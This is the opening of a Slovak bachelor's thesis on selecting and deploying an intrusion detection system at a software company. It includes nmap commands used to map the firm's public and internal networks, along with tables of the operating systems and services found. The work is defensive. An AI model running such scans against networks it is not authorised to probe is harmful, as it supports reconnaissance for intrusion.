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V Prahe 7. mája 2019 . . . . . . . . . . . . . . . . . . . . .
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c© 2019 Martin Gajdoš. Všetky práva vyhradené.
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Abstrakt

Táto práca sa zaoberá nasadeńım intrusion detection systému do infraštruktúry
firmy Ataccama Software, s.r.o. Najprv je predstavený súčasný stav firemnej
infraštruktúry, ktorá je podrobne analyzovaná z bezpečnostného hl’adiska.

Nasleduje stručný úvod do problematiky IDS a definovanie kritéríı pre vý-
ber. Zároveň sú poṕısané a nainštalované tri IDS implementácie, ktoré budú
neskôr porovnané.

Ďalej je pripravené testovacie prostredie, ktoré obsahuje zranitel’né služby
z analýzy. Na tieto služby sú vykonané útoky, ktoré sa nahrajú do pcap
súborov. Tieto a d’aľsie vybrané pcap súbory sú následne analyzované IDS
implementáciami. Každý IDS je potom ohodnotený podl’a toho, či dokázal
správne vyhodnotit’ danú situáciu.

Na základe výsledkov týchto testov a podl’a definovaných kritéríı sú IDS
porovnané a najlepšie z nich je na záver nasadené do infraštruktúry firmy.

Kĺıčová slova IDS, NIDS, poč́ıtačová bezpečnost’, analýza siet’ovej prevádz-
ky, pcap, nmap, Metasploit, Snort, Suricata, Zeek, Bro

vii



Abstract

The purpose of this thesis is deployment of intrusion detecion system to Atac-
cama Software’s enterprise infrastructure. Initially, the current state of the
enterprise infrastructure from security perspective is presented in a detailed
analysis.

Next is a brief introduction to IDS and rules for the selection among them
are specified, followed by description and installation of three IDS implemen-
tations, which are to be compared later.

Then, a testing environment containing vulnerable services according to
the analysis is prepared. Network attacks on the services are performed and
recorded to pcap files. These and some other pcaps are then analysed by the
IDS implementations. Each of them is assigned a score, which reflects their
ability to correctly evaluate the situation.

Finally, the IDS implementations are compared based on the results of the
tests and following the defined rules. The best one is then deployed to the
enterprise infrastructure.

Keywords IDS, NIDS, cyber security, network traffic analysis, pcap, nmap,
Metasploit, Snort, Suricata, Zeek, Bro
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3 Pŕıprava testovacieho prostredia 31
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3.1 Schéma testovacieho prostredia . . . . . . . . . . . . . . . . . . . . 32

xi





Zoznam tabuliek
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Úvod

S enormným rozvojom informačných technológíı je potrebné neustále držat’
krok, aby bolo možné naplno využ́ıvat’ jeho výhody. Typickou ukážkou tohto
posunu, napŕıklad v oblasti hardvéru, je Moorov zákon (angl. Moore’s law).
Toto pozorovanie, ktorého autorom je Gordon Moore, spoluzakladatel’ spoloč-
nosti Intel, hovoŕı, že každé dva roky sa počet tranzistorov na čipe zdvojnásob́ı,
pričom cena sa zńı̌zi o polovicu1 [1]. Podobný rozvoj je možné sledovat’ aj
v iných oblastiach informatiky, akými sú napŕıklad programovacie jazyky, da-
tabáze, poč́ıtačová bezpečnost’ alebo poč́ıtačové siete. Práve posledné dve spo-
menuté oblasti budú hlavnými témami tejto práce.

Takisto sa za posledné roky značne rozrástla aj firma Ataccama Soft-
ware s.r.o.2, ktorá je zadávatel’om tejto práce. Tá sa z malého podniku za-
radila do kategórie stredných podnikov. V priebehu času rýchlo stúpol nielen
počet zamestnancov 0.1, ale aj počet zákazńıkov a rozš́ırilo sa aj portfólio
ponúkaných produktov, a služieb. Pre podporu predaja a v záujme d’aľsieho
rastu firma expandovala aj v zahranič́ı, a pribudli nové pobočky po celom
svete. Od tohto bodu sa do úvahy berie pražská pobočka firmy, ak nie je
explicitne vyjadrené inak.

Táto zmena tak so sebou priniesla viacero nových većı a niektoré z nich tu
budú v stručnosti poṕısané. Či už je to nákup poč́ıtačov a mobilných zaria-
deńı pre nových zamestnancov, ale aj nákup nového hardvéru do serverovne.
Pribudli nové siet’ové zariadenia, preṕınače, smerovače, bezdrôtové pŕıstupové
body, tlačiarne, IoT zariadenia3 a takisto nové fyzické, a virtuálne servery.

Toto všetko spôsobilo celkové zvýšenie počtu zariadeńı v podnikovej sieti,
a z toho vyplývajúci nárast siet’ovej prevádzky. Ten sa uskutočnil v oboch

1Dôkaz sa nachádza napŕıklad tu: https://www.karlrupp.net/2018/02/42-years-of-
microprocessor-trend-data/

2https://www.ataccama.com
3Internet of Things (skrátene IoT) zariadenia, sú ”prosté“ zariadenia, ktoré v minulosti

neumožňovali pripojenie k internetu, ale vd’aka tomu dnes źıskavajú novú funkcionalitu a
možnosti. Pŕıkladom môžu byt’ telev́ızory, autá alebo osvetlenie.

1

https://www.karlrupp.net/2018/02/42-years-of-microprocessor-trend-data/
https://www.karlrupp.net/2018/02/42-years-of-microprocessor-trend-data/
https://www.ataccama.com
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Obr. 0.1: Vývoj počtu zamestnancov v čase.

logických častiach siete; v rámci lokálnej podnikovej siete (tzv. intranet), ale
aj smerom”von“, teda do a z internetu. S vyšš́ım počtom už́ıvatel’ov a zariadeńı
prirodzene prichádza aj zvýšenie bezpečnostných hrozieb, a riźık.

Preto bolo nutné vykonat’ zmeny v infraštruktúre, ale aj v oblasti siet́ı a
bezpečnosti tak, aby sa týmto hrozbám úspešne predchádzalo, a riziká sa čo
najviac zńıžili, v ideálnom pŕıpade úplne eliminovali. Hlavným úsiĺım v dosia-
hnut́ı týchto zmien bolo preskúmanie a vyhodnotenie siet’ovej architektúry
vrátane všetkých bezpečnostných systémov, a opatreńı, ktoré sa vo firme
využ́ıvali alebo ešte stále využ́ıvajú. Táto činnost’ už bola vykonaná a pri-
niesla so sebou viacero skutočnost́ı, z ktorých už boli všetky okrem jednej
implementované.

Segmentácia siete

V prvom rade sa jednalo o celkovú reštrukturalizáciu architektúry intranetu,
k čomu prispel aj fakt, že stávajúci adresný priestor sa neustále zmenšoval.
Bolo vytvorených viacero nových podsiet́ı, ktoré zároveň tvoria bezpečnostné
segmenty s rôznymi úrovňami zabezpečenia a obmedzenia pŕıstupu do nich.
Táto technika siet’ového návrhu sa nazýva segmentácia siete (angl. network
segmentation). Ukážku takejto siete zachytáva obrázok 0.2, podrobneǰsie je
poṕısaná napŕıklad tu [2] a prináša viacero výhod. Konkrétne sa jedná o spo-
malenie postupu útočńıka medzi jednotlivými segmentami v pŕıpade úspešného
preniknutia do niektorého z nich, zredukovanie dopadov úspešných útokov
tým, že nie je všetko pŕıstupné v rámci jednej siete, silneǰsia dátová bezpečnost’

2



Obr. 0.2: Pŕıklad segmentácie siete pomocou VLAN. Každá VLANa môže ob-
sahovat’ zariadenia nachádzajúce sa v rôznych fyzických siet’ach a reprezentuje
jeden segment. Obrázok prevzatý z: [4].

vd’aka oddeleniu citlivých dát a zjednodušenie implementácie prinćıpu najniž-
šieho privilégia (angl. principle of least privilege) [3]. Tým sa efekt́ıvne zaviedla
kontrola pŕıstupu (angl. access control), a tak má každý už́ıvatel’ siete, či už
sa jedná o zamestnanca alebo návštevńıka, pŕıstup práve do podsiete, ktorú
potrebuje a nikde inde.

Firewall

Ďalej ǐslo o nahradenie stávajúceho hlavného firewallu, čo je bezpečnostné
zariadenie, ktoré filtruje vstupnú a výstupnú siet’ovú prevádzku na základe
definovaných pravidiel. Tieto pravidlá definuje siet’ový administrátor. Fire-

3



Úvod

wall je prvá ĺınia obrany v siet’ovej bezpečnosti už vyše 25 rokov. Zriad’uje
bariéru medzi zabezpečenými a kontrolovanými internými siet’ami, ktorým sa
dá dôverovat’, a nedôveryhodnými vonkaǰśımi siet’ami, akou je napŕıklad in-
ternet [5]. Tento firewall bol nahradený dvomi novými, ktoré sú vzájomne
redundantné. To znamená, že sa pri nečakanom výpadku jedného z nich ne-
preruš́ı siet’ová prevádzka vo firme, ako by tomu bolo v pŕıpade, že by bol iba
jeden. Taktiež sa vykonala reorganizácia firewallových pravidiel s ohl’adom
na novú architektúru intranetu.

VPN

Predposlednou zmenou bolo nasadenie novej VPNky. Tá umožňuje vzdialený
a zabezpečený pŕıstup do intranetu firmy, ktorý je inak nedostupný, aj zo za-
riadeńı, ktoré sa nachádzajú vo verejných siet’ach (internet). Typicky sa jedná
o zamestnancov na služobných cestách alebo pracujúcich z domova, ktoŕı po-
trebujú pŕıstup k zariadeniam v intranete. Tiež sa použ́ıva ako Site-to-Site
VPN, čo je permanentné prepojenie dvoch internetom oddelených firemných
siet́ı pomocou VPN.

IDS

Posledná z týchto zmien sa však ešte neuskutočnila a bude ciel’om tejto práce.
Jedná sa o výber a nasadenie Intrusion Detection Systému (skrátene IDS)
v poṕısanom firemnom prostred́ı.

4



Kapitola 1
Bezpečnostná analýza

infraštruktúry firmy

Ako už bolo spomenuté na strane 4, posledná vec, ktorú je potrebné spravit’
na zaistenie lepšieho zabezpečenia rozrastajúcej sa firemnej siete, je nasadenie
vhodného IDS riešenia.

To si však vyžaduje primeranú analýzu tohto prostredia z pohl’adu útočńıka,
proti ktorému má tento systém primárne slúžit’, a ktorého aktivitu by mal byt’
schopný detekovat’. Na základe tejto analýzy budú následne vytvorené pe-
netračné testovacie sady útokov, ktoré budú simulovat’ útoky na rôzne služby
a aplikácie nachádzajúce sa vo firemnej sieti. Táto analýza môže tiež odhalit’
potencionálne diery v bezpečnosti firmy, čo umožńı ich odstránenie a eliminuje
riziko ich zneužitia útočńıkom.

Prirodzene sa ako prvá podrob́ı tejto analýze verejná siet’ podniku vidi-
tel’ná z internetu. Tá je však relat́ıvne vel’ká, ked’že čast’ z nej sa nachádza
aj u cloudových poskytovatel’ov infraštruktúry, akým je napŕıklad spoločnost’
Amazon4 so svojou službou Amazon Web Services5. Táto práca je však zame-
raná na pražskú pobočku firmy, ako už bolo spomenuté v úvode, a preto bude
uvažovaná len táto verejná čast’ firemnej siete.

Útočńıci však nemusia útočit’ výhradne cez internet, ale môžu rôznymi
spôsobmi preniknút’ aj do intranetu. Napŕıklad pomocou sociálneho inžinier-
stva6, chv́ıl’ky nepozornosti alebo sa môže jednat’ o samotných zamestnancov.
Z rozsiahleho prieskumu [7] vykonaného spoločnost’ou Cybersecurity Insiders7,
ktorý sa zaoberal vnútornými hrozbami (angl. insider threats) vyplýva, že až

4https://www.amazon.com/
5https://aws.amazon.com/
6Sociálne inžinierstvo je akt prelomenia informačnej bezpečnosti pomocou psychológie a

manipulácie s l’ud’mi tak, aby prezradili dôverné informácie alebo umožnili pŕıstup do verej-
nosti nepŕıstupnej oblasti. Tak źıska nepovolaný sociálny inžinier pŕıstup k zabezpečeným
zdrojom a informáciám. Podrobneǰsie sú táto technika a jej dôsledky poṕısané tu [6].

7https://www.cybersecurity-insiders.com/

5

https://www.amazon.com/
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https://www.cybersecurity-insiders.com/


1. Bezpečnostná analýza infraštruktúry firmy

90% organizácíı sa považuje za zranitel’ných voči tomuto typu hrozby a až
53% väčšina týchto organizácíı potvrdila, že bol tento typ útoku proti nim
uskutočnený za posledný rok. Z týchto dôvodov bude analýze podrobená aj
vnútorná firemná siet’.

Pred samotnou analýzou je však dôležité vysvetlit’ niekol’ko hlavných poj-
mov, ktoré sa budú v tejto práci použ́ıvat’, a na ktoré sa bude počas práce
odkazovat’.

OSI siet’ový model

Ked’že sa táto práca zaoberá prevažne poč́ıtačovými siet’ami, a s nimi spo-
jenými technológiami, bude dobré si pripomenút’ referenčný siet’ový model
OSI8 vytvorený organizáciou ISO, aby bolo možné presne kategorizovat’ prebe-
rané protokoly. Ten pozostáva zo siedmich vrstiev, do ktorých sa delia jednot-
livé protokoly. Celý model aj s dodatočným popisom pekne ilustruje obrázok
1.1. Téma OSI a celkovo siet́ı je podrobneǰsie vysvetlená napŕıklad v tejto
knihe [8].

Program nmap

Network Mapper, známy skôr pod svojim skráteným názvom nmap9, je siet’ový
nástroj s otvoreným zdrojovým kódom naṕısaný prevažne v jazykoch C a C++.
Odosielańım parametrizovaných paketov na rôznych vrstvách ISO/OSI mo-
delu a analýzou ich odpoved́ı dokáže zistit’ užitočné informácie. Využ́ıva sa
predovšetkým na mapovanie siete, objavovanie hostov, skenovanie portov,
určovanie bežiacich služieb, operačných systémov a ich verzíı. Okrem toho
dokáže aj množstvo d’aľśıch većı, ktoré sú detailneǰsie poṕısané v manuálovej
stránke programu [10]. Vd’aka týmto informáciám je možné pomocou tohto
nástroja odhalit’ bezpečnostné diery, čo využ́ıvajú administrátori, penetračńı
testeri, ale aj útočńıci. V tejto práci bude použitý na zmapovanie firemnej
siete z pohl’adu útočńıka.

Všeobecný zápis pŕıkazu nmap podl’a manuálovej stránky [10] vyzerá na-
sledovne:

nmap [Scan Type...] [Options] {target specification}

Scan Type Je skupina parametrov, ktorá určuje typ, intenzitu, spôsob a d’aľsie
vlastnosti skenovania. Napŕıklad sa dá nastavit’ objavovanie zariadeńı
v sieti bez alebo so skenovańım portov, zapnutie a vypnutie DNS pre-
kladu ciel’ov, rôzne techniky skenovania ako napŕıklad ICMP, TCP alebo

8Open Systems Interconnection. Niekedy tiež zvaný ISO/OSI model.
9https://nmap.org/
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1. Bezpečnostná analýza infraštruktúry firmy

UDP skeny, špecifikácia konkrétnych portov a poradie ich skenovania,
detekcia služieb, a ich verzíı, a podobne.

Options Táto skupina parametrov určuje d’aľsie vlastnosti skenovania ako
napŕıklad detekciu operačného systému ciel’a, časové obmedzenia, para-
metre výkonu, vyhýbanie sa firewallom/IDS, spoofovanie10, nastavenia
vstupu, výstupu a iné.

target specification Označuje ciel’ alebo ciele, na ktorých bude vykonaný
sken. Môžu to byt’ IP adresy, DNS názvy, celé siete alebo ich rozsahy.
Dostupných je viacero možnost́ı.

Ukážka 1.1: Použitie a výstup programu nmap.
1 root@localhost # nmap -n --top -ports =2000 -sS -sV scanme .nmap.org
2
3 Starting Nmap 7.60 ( https :// nmap.org ) at 2019 -04 -03 11:30 CEST
4 Nmap scan report for scanme .nmap.org (45.33.32.156)
5 Host is up (0.18s latency ).
6 Other addresses for scanme .nmap.org (not scanned ): 2600:3 c01 ::

f03c :91 ff:fe18:bb2f
7 Not shown: 1998 closed ports
8 PORT STATE SERVICE VERSION
9 22/ tcp open ssh OpenSSH 6.6.1 p1 Ubuntu 2 ubuntu2 .11 ( Ubuntu

Linux; protocol 2.0)
10 80/ tcp open http Apache httpd 2.4.7 (( Ubuntu ))
11 Service Info: OS: Linux; CPE: cpe :/o:linux: linux_kernel
12
13 Service detection performed . Please report any incorrect results

at https :// nmap.org/ submit / .
14 Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds

Teraz si ukážeme praktický pŕıklad použitia nmapu. V ukážke 1.1 je nmap
použitý na skenovanie portov servera scanme.nmap.org. Tento server je určený
na jeho učenie a skúšanie, a je spravovaný vývojármi tohto nástroja. V ukážke
sú nastavené tieto štyri parametre:

-n vyṕına reverzné DNS požiadavky na ciel’. Zapnuté je to užitočné najmä
v neznámej sieti pri skenovańı IP adries, kde nepoznáme DNS názvy
hostov. Implicitne sa reverzné DNS požiadavky vykonávajú niekedy.

--top-ports=2000 skenuje v tomto pŕıpade dvetiśıc štatisticky najbežneǰśıch
portov. Implicitná hodnota je nastavená na tiśıc.

10Je technika, pri ktorej sa útočńık vydáva za niekoho iného. Útočńık môže napŕıklad
spoofovat’ MAC adresu svojho zariadenia, aby sa tak źıskal pŕıstup do siete, kde majú pŕıstup
len zariadenia s definovanými MAC adresami.

8
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1.1. Analýza verejnej siete

-sS vykonáva TCP SYN sken na štvrtej vrstve ISO/OSI modelu a využ́ıva
pritom mechanizmus nadviazania komunikácie (angl. three way hands-
hake) v protokole TCP [11]. nmap odošle SYN paket na ciel’ový port za-
riadenia a v pŕıpade, že od ciel’a obdrž́ı SYN/ACK paket, je daný TCP
port otvorený. Tento sken je rýchly, populárny a funguje na všetkých
zariadeniach použ́ıvajúcich TCP. Toto je implicitný typ skenu.

-sV zaṕına detekciu služieb a ich verzíı, ktoré počúvajú na jednotlivých por-
toch. To nmap dokáže vd’aka databáze, kde má uložené známe služby.
Vd’aka špeciálne vytvoreným overovaćım požiadavkam, a následným od-
povediam na ne dokáže rozoznat’ protokol, názov a verziu ciel’ovej služby,
ako aj typ zariadenia a rodinu operačného systému.

Výstup programu je dobre čitatel’ný. Na tret’om riadku je verzia nmapu
a čas, kedy sa spustilo skenovanie. Ďalej sú tam informácie o ciel’ovom hostovi
ako DNS názov, IP adresa a latencia. Najdôležiteǰsia čast’ výstupu je zoznam
objavených otvorených portov, ktorý zač́ına na riadku osem. Z výpisu vidno,
že boli odhalené dva porty; 22, kde počúva program OpenSSH a port 80, kde
bež́ı webový server Apache httpd. Taktiež je zjavné, že ciel’ový host použ́ıva
operačný systém Ubuntu z linuxovej rodiny. Nakoniec je ešte na riadku štrnást’
uvedené celkové trvanie behu programu.

Tu je vhodné podotknút’, že kompletné a podrobné výsledky skenovania,
ako sú napŕıklad verzie nájdeného softwaru, všetky porty, reálne IP adresy,
málo zastúpené služby a d’aľsie podobné informácie, nie sú z bezpečnostných
dôvodov súčast’ou tejto práce. Avšak informácie, ktoré sú uvedené, sú skutočné
a reálne odrážajú stav firemnej infraštruktúry. Tento fakt nemá na samotnú
prácu žiadny negat́ıvny dopad, pretože uvedené informácie sú pre účely práce
plne dostačujúce.

1.1 Analýza verejnej siete

Táto analýza bola vykonaná spusteńım vhodne parametrizovaného programu
nmap z internetu na verejný rozsah IP adries pridelených firme. Pŕıkaz pre TCP
sken vyzeral nasledovne11:

nmap -n --top-ports=2000 -sS -sV 1.2.3.4/28

Význam jednotlivých parametrov pŕıkazu bol vysvetlený v ukážke 1.1.
Celkovo bolo zistených sedem bežiacich hostov z rozsahu šestnástich IP adries
a sken trval 775 sekúnd. UDP sken bol skoro 35-krát pomaľśı a to aj napriek
tomu, že skenoval len polovicu portov. Vysvetlenie tohto správania spoč́ıva
v architektúre samotného protokolu.

11Z bezpečnostných dôvodov sú uvedené IP adresy iba ilustračné.
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1. Bezpečnostná analýza infraštruktúry firmy

Na rozdiel od TCP je UDP bezstavový protokol a vd’aka tomu nepotrebuje
žiadny mechanizmus nadviazania komunikácie. Z tohto dôvodu nie je možné
zistit’ rozdiel medzi otvoreným portom, na ktorom program pŕıjma pakety
bez odpovede, otvoreným portom, na ktorom firewall zahadzuje prichádzajúce
pakety a tým, že sa pakety kvôli zahlteniu siete stratia v prenose. Rovnako
nie je možné zistit’ rozdiel medzi zatvoreným portom, firewallovaným portom,
strateným paketom v prenose a limitovańım ICMP odpoved́ı.

Preto jediný spôsob, ako detekovat’ otvorený port, je prijat́ım UDP od-
povede alebo ICMP správy od hosta. Navyše, aby sa eliminovali možnosti
limitovania ICMP odpoved́ı a stratených paketov, je potrebné poslat’ niekol’ko
paketov za sebou, než sa daný port bude považovat’ za zatvorený. Pre UDP
sken vyzeral pŕıkaz takto:

nmap -n --max-rtt-timeout 50ms --max-retries 3
--max-scan-delay 10ms --min-hostgroup 6 -sU -sV 1.2.3.4/28

Z vyššie uvedených dôvodov bol nmap parametrizovaný podl’a odporúčańı
z [12], aby jeho vykonávanie netrvalo neprimerane dlho. Nevýhodou tohto
pŕıstupu sú menej presné výsledky skenovania. To v tomto pŕıpade nepred-
stavuje problém, ked’že našim ciel’om je zmapovat’ siet’ a zistit’ najčasteǰsie
použ́ıvané protokoly a služby. Význam jednotlivých parametrov je nasledujúci:

--max-rtt-timeout Tento parameter nastavuje, ako dlho bude nmap čakat’
na odpoved’. Dobrým odhadom pre jeho hodnotu je d́lžka cesty paketu
k ciel’ovému hostovi a naspät’. To je možné zistit’ napŕıklad pomocou
programu ping, ktorý odosiela ICMP12 pakety typu ECHO REQUEST a me-
ria čas od ich odoslania do pŕıchodu odpovede ECHO REPLY.

--max-retries Určuje, kol’ko krát sa bude požiadavka znovu posielat’ na ciel’o-
vý port, kým sa prejde na d’aľśı. Pri spol’ahlivej sieti sa môže nastavit’
vel’mi malá hodnota, dokonca nula.

--max-scan-delay Táto hodnota definuje d́lžku prestávky medzi odoslańım
jednotlivých požiadaviek.

--min-hostgroup Nastavuje vel’kost’ skupiny ciel’ových hostov, ktorým sa bu-
dú požiadavky odosielat’ paralelne. Č́ım je skupina väčšia, tým je odosie-
lanie efekt́ıvneǰsie, avšak za cenu priebežných výsledkov. Tie sa zobrazia
až po preskenovańı celej skupiny.

-sU Nastavuje typ skenu na UDP.
12Protokol tretej vrstvy ISO/OSI modelu.
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1.1. Analýza verejnej siete

Tabul’ka 1.1: Prehl’ad operačných systémov vo verejnej sieti.

Operačný systém Počet Podiel
Cisco 4 57%
Linux 2 29%
N/A 1 14%

Tabul’ka 1.2: Prehl’ad TCP služieb vo verejnej sieti.

Služba Softvér Porty
ssh OpenSSH 22
ssl/http Apache httpd 80, 443
ssl/http nginx 80, 443
ssl/http Apache Tomcat/Coyote JSP 443
ssl/http Jetty 8800

Tabul’ka 1.3: Prehl’ad UDP služieb vo verejnej sieti.

Služba Softvér Porty Počet
ntp NTP 123 1
snmp Cisco SNMP service 161 3
isakmp Cisco VPN Concentrator 500 1

Výsledky oboch skenov sú prehl’adne rozdelené do troch čast́ı. Tabul’ka 1.1
zachytáva distribúciu operačných systémov na hostoch, ktoŕı boli online.

V štyroch pŕıpadoch sa jedná o zariadenia s operačným systémom od spoloč-
nosti Cisco Systems13, a teda ide o nejaké typy siet’ových prvkov. Najpravde-
podobneǰsie možnosti sú smerovač, firewall a VPN sever, ktoré zvyčajne spro-
stredkovávajú komunikáciu medzi dvomi siet’ami. Ďalej sa tam nachádzajú
dve zariadenia, na ktorých bež́ı linuxový kernel a jeden operačný systém ne-
bol rozpoznaný kvôli nedostatočnému množstvu informácíı.

Tabul’ka 1.2 ukazuje detekované TCP porty s pŕıslušnými službami a softvé-
rom, ktorý ich poskytuje. Nachádza sa tam služba ssh pre vzdialený pŕıstup
k systému a zvyšok sú webové, pŕıpadne proxy, servery komunikujúce ap-
likačným protokolom http a https. Podobný súhrn je aj v tabul’ke 1.3 pre UDP
služby. Z nich je zastúpený protokol ntp použ́ıvaný na synchronizáciu času
medzi hostami v sieti a snmp protokol určený na monitorovanie a spravovanie
zariadeńı po sieti. Nakoniec je tam isakmp protokol zabezpečujúci autenti-
fikáciu a výmenu kl’́učov po internete, na čo nadväzuje VPN funkcionalita.

13https://www.cisco.com/
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1. Bezpečnostná analýza infraštruktúry firmy

1.2 Analýza internej siete

Táto analýza prebiehala rovnakým spôsobom ako verejná, iba s menš́ımi úpra-
vami. Prvou je prirodzene zmena skenovaného rozsahu IP adries na lokálnu
siet’. Tá je rádovo väčšia a s maskou 255.255.255.0 obsahuje až 256 IP ad-
ries. Pŕıkaz pre TCP sken bol rovnaký, objavil 95 akt́ıvnych zariadeńı a jeho
vykonanie trvalo až 15741 sekúnd, čo je takmer štyri a pol hodiny. Z tohto
dôvodu bol UDP sken upravený nasledovne:

nmap -n -F --max-rtt-timeout 20ms --max-retries 3
--max-scan-delay 10ms --min-hostgroup 32 -sU -sV 10.0.0.0/24

Kde parameter -F slúži ako skrátená verzia parametra --top-ports na-
staveného na hodnotu 100. To je v tomto pŕıpade dostačujúce, ked’že UDP
nie je tak dominantný ako TCP a ciel’om je zistit’ najčasteǰsie služby. Napriek
tomu tento sken trval 17611 sekúnd, čo je o vyše polhodinu viac než trvanie
TCP skenu.

V grafe 1.2 je zobrazené rozdelenie operačných systémov v internej sieti.
Dominantnú väčšinu tvoria linuxové stroje nasledované OS Windows14 od spo-
ločnosti Microsoft15. Ďalej je tu zastúpený OS určený na virtualizáciu od spo-
ločnosti VMware16 zvaný ESXi17 a nakoniec sú tu tri zariadenia od Cisca,
a jedno od spoločnosti Apple18 s OS X.

Najčasteǰsie mapované porty a k nim patriace TCP či UDP služby, a pro-
tokoly sú zhrnuté v grafoch 1.3 a 1.4. Na osi Y je zobrazený počet výskytov.
Jednoznačne tu vedie protokol ssh. Je tam aj množstvo webových programov
komunikujúcich pomocou protokolov http a https. Databáza PostgreSQL
komunikuje rovnomenným protokolom po sieti. Protokol rpcbind, ktorý je
určený na mapovanie služieb ku portom nachádzajúcim sa na danom zaria-
deńı [13], je UNIXový ekvivalent služby msrpc od Microsoftu. Bež́ı taktiež
na rovnakom UDP porte, ako vidno v grafe 1.4. Ďaľśı protokol vnc je tak-
tiež UNIXový ekvivalent msrdp od Microsoftu, ktorý zabezpečuje vzdialené
grafické pripojenie k zariadeniu.

Servery s OS Windows použ́ıvajú celú radu protokolov, ktoré so sebou
navzájom súvisia a doṕlňajú sa. NetBIOS poskytuje tri služby, z ktorých
sa v sieti nachádza nebios-ssn, zabezpečuje nadviazanie spojenia a komu-
nikáciu s detekciou a opravu chýb. To využ́ıva protokol smb určený na zdiel’anie
súborov a filesystému po sieti [14]. Služba Microsoft Terminal Service tiež
známa ako Microsoft Remote Desktop Protocol (msrdp) umožňuje vzdialený
pŕıstup ku poč́ıtaču s grafickým rozhrańım [15]. Ďalej sa tam nachádza služba

14https://www.microsoft.com/windows
15https://www.microsoft.com
16https://www.vmware.com/
17https://www.vmware.com/products/esxi-and-esx.html
18https://www.apple.com/
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1.2. Analýza internej siete

msrpc na vzdialené vykonávanie funkcíı [16], replikáciu a mapovanie služieb
[17]. Ako posledná od Microsoftu, služba microsoft-ds poskytuje zdiel’anie
súborov (smb), replikáciu, autentifikáciu a group policies [16].

Z UDP služieb sa tu okrem rpcbind nachádzajú aj snmp a ntp, ktoré
boli poṕısané v analýze verejnej siete. Ďalej je tu služba svrloc, ktorá po-
skytuje flexibilné a škálovatel’né rozhranie poskytujúce hostom pŕıstup k in-
formáciám o existencii, lokácii a konfigurácii siet’ových služieb [18]. Protokol
nfs umožňuje podobne ako smb distribúciu súborov a filesystému po sieti
a cez internet. Protokol mdns zabezpečuje multicast DNS službu v lokálnej
sieti, bez potreby existencie centrálneho DNS servera a bez zložiteǰsej konfi-
gurácie [19]. Nakoniec asf-rmcp umožňuje spravovat’ zariadenia s minimálnou
potrebou konfigurácie a administrácie tak, aby sa maximalizoval výkon a do-
stupnost’ [20].
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1.2. Analýza internej siete

16
15

30

10
6

23

11

30

74

22

32

6
11

01020304050607080

Apache httpd
ssl/http

Apache Tomcat/Coyote JSP
ssl/http

Jetty
ssl/http

Microsoft Terminal Service
ms-wbt-server

Microsoft Windows netbios-ssn
netbios-ssn

Microsoft Windows RPC
msrpc

Microsoft Windows Server
microsoft-ds

nginx
ssl/http

OpenSSH
ssh

PostgreSQL DB
postgresql

rpcbind (RPC #100000)
rpcbind

Samba smbd
netbios-ssn

vnc

Obr. 1.3: Prehl’ad TCP služieb v internej sieti.
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16



Kapitola 2
Výber a inštalácia IDS

V tejto kapitole bude podrobne poṕısaný výber možných kandidátov na IDS
riešenie. Zároveň budú vlastnosti a inštalačný proces každého kandidáta pred-
stavené detailneǰsie, vd’aka čomu sa vytvoŕı základ pre ich porovnanie. Najús-
pešneǰsie z nich bude neskôr v práci nasadené vo firemnej infraštruktúre.
Predtým je však potrebné bližšie predstavit’ pojem IDS, rôzne varianty a ich
vlastnosti.

2.1 Defińıcia

Intrusion Detection Systém je siet’ové bezpečnostné zariadenie alebo softvér,
ktorého hlavnou úlohou, ako už bolo čiastočne naznačené, je live monitorovanie
a hlbšia analýza siet’ovej prevádzky alebo systému. Výsledkom tohto procesu
je detekcia podozrivých, nezvyčajných a nebezpečných aktiv́ıt v ciel’ovej sieti
alebo systéme. Následne sú tieto zistenia zaṕısané do logu a tiež sú zaslané
upozornenia zodpovednej osobe na preverenie. Tá sa rozhodne, či vykoná opat-
renia na zastavenie týchto aktiv́ıt, napŕıklad úpravou firewallových pravidiel
na dočasné zablokovanie podozrivých IP adries.

V súčasnosti existuje celá rada IDS implementácíı a je možné ich rozdelit’
do viacerých kategóríı podl’a ich spoločných vlastnost́ı. Na základe objektu,
na ktorom je analýza vykonávaná je možné rozdelit’ tieto systémy do nasle-
dujúcich skuṕın [21]:

• Host-based Intrusion Detection System (HIDS)

• Network-based Intrusion Detection System (NIDS)

Ďalej sa dajú IDS rozčlenit’ podl’a metód, ktoré použ́ıvajú na detekciu
podozrivých aktiv́ıt. Tu je potrebné podotknút’, že v súčastnosti už väčšina
IDS využ́ıva kombináciu oboch týchto pŕıstupov:

• Signature-based Intrusion Detection System
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• Anomaly-based Intrusion Detection System

Teraz budú tieto kategórie podrobneǰsie poṕısané a taktiež bude vysvet-
lených niekol’ko d’aľśıch vlastnost́ı IDS.

2.1.1 Porovnanie IDS s Firewallom

Na prvý pohl’ad sa môže zdat’, že IDS a firewall, poṕısaný na strane 3, zohrávajú
v siet’ovej bezpečnosti rovnakú úlohu. Toto tvrdenie však nie je pravdivé
a v skutočnosti sa vzájomne efekt́ıvne doṕlňajú.

Firewall pracuje ako prevent́ıvne opatrenie proti siet’ovým útokom”zvonku“
a bráni ich vykonaniu tým, že paśıvne obmedzuje prevádzku medzi siet’ami.
Nijakým spôsobom však neobmedzuje dianie v intranete.

IDS naopak kontroluje aj vnútornú siet’ a tiež akt́ıvne reaguje na aktuálne
dianie v sieti vd’aka svojim live detekčným algoritmom, pričom v pŕıpade po-
treby spust́ı alarm. Niektoré pokročileǰsie IDS dokonca dokážu priamo zabránit’
vykonávaniu podozrivých aktiv́ıt upraveńım pravidiel vo firewalle.

2.1.2 HIDS

Host-based IDS vykonáva detekciu nad jedným systémom pripojeným do siete
(angl. host), napŕıklad poč́ıtačom alebo serverom. Monitoruje oba smery sie-
t’ovej prevádzky zariadenia, teda prichádzajúce aj odchádzajúce pakety. Dôvod
je ten, že z infikovaného zariadenia sa v́ırus môže pokúšat’ d’alej š́ırit’ po sieti,
a vd’aka monitorovaniu odchádzajúcej komunikácie je HIDS schopný toto
správanie detekovat’.

Taktiež sleduje stav a zmeny dôležitých súborov v systéme ako sú napŕıklad
logy, konfigurácie, Windows registry a rootovský pŕıstup na UNIX-like19 sys-
témoch. Na základe toho vie identifikovat’ neoprávnenú manipuláciu s nimi.
V pŕıpade detekovania podozrivého správania odošle upozornenie systémové-
mu administrátorovi. HIDS dokáže zálohovat’ dôležité systémové súbory, aby
ich bolo možné obnovit’ v pŕıpade napadnutia systému.

2.1.3 NIDS

Network-based IDS vykonáva detekciu nad prevádzkou všetkých zariadeńı
